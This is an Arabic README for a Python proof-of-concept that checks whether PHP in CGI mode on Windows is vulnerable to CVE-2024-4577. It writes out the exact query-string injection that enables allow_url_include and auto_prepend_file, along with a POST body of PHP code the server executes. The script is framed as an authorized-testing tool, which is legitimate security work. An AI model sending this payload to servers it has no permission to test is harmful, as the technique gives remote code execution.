
نص برمجي بلغة Python (PoC) لاختبار ثغرة CVE-2024-4577 في PHP CGI عبر حقن سلسلة الاستعلام وحمولة POST، لتحديد قابلية الخادم للاستغلال.
هذا السكربت بلغة Python هو أداة PoC (Proof of Concept) بسيطة لتشخيص الثغرة الأمنية الأخيرة في PHP CVE-2024-4577.
⚠️ هذه الأداة مقدمة لأغراض التشخيص الأمني فقط، ويجب استخدامها فقط على الأنظمة التي تملكها أو على الأهداف المصرح بها مسبقًا.
تتيح هذه الثغرة، عند تشغيل PHP في وضع CGI على بيئة Windows، عبر تجاوز الأحرف متعددة البايت حقن إعدادات PHP تعسفية والوصول إلى تنفيذ التعليمات البرمجية.
يرسل هذا السكربت إلى عنوان URL المستهدف حمولة تجاوز استناداً إلى سلسلة الاستعلام وكود PHP عبر طلب POST لتحديد ما إذا كانت الثغرة موجودة.
python3 --version
pip install requests
python3 cve_2024_4577_test.py
مثال للإدخال:
http://192.168.0.10/index.php
أو يمكنك إدخال المسار الجذر فقط وسيتم التعامل معه تلقائيًا
http://192.168.0.10
✅ [✅] ثغرة مؤكدة: قام الخادم بتنفيذ كود PHP.
→ الخادم المستهدف ثغرة.
✔️ [✔️] غير ثغرة أو تم الحظر
→ تم استلام استجابة ولكن لم تظهر الثغرة.
❌ [❌] فشل الطلب: ...
→ فشل الاختبار بسبب خطأ في الاتصال أو انتهاء المهلة أو ما شابه.
إدراج سلسلة تجاوز الثغرة:
?%ADd+allow_url_include=1+%ADd+auto_prepend_file=php://input
إدراج كود PHP في نص طلب POST:
<?php echo 'CVE-2024-4577-TEST'; ?>
عندما ينفذ الخادم هذا الكود، ستتضمن الاستجابة هذه السلسلة مما يسمح بتأكيد الثغرة.
هذا السكربت مقدم لأغراض التعليم والبحث الأمني فقط، ويُعد فحص أو اختبار الأنظمة غير المصرح بها عملاً غير قانوني. يتحمل المستخدم كامل المسؤولية بنفسه.
| اسم الملف | الوصف |
|---|---|
cve_2024_4577_test.py | سكربت Python لاختبار الثغرة |
README.md | وثيقة الاستخدام والشرح (هذا الملف) |
LICENSE.txt |
يرجى الإبلاغ عن الأخطاء أو الاقتراحات عبر البريد الإلكتروني أو PR.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل. Copyright (c) 2025 KimJuhyeong95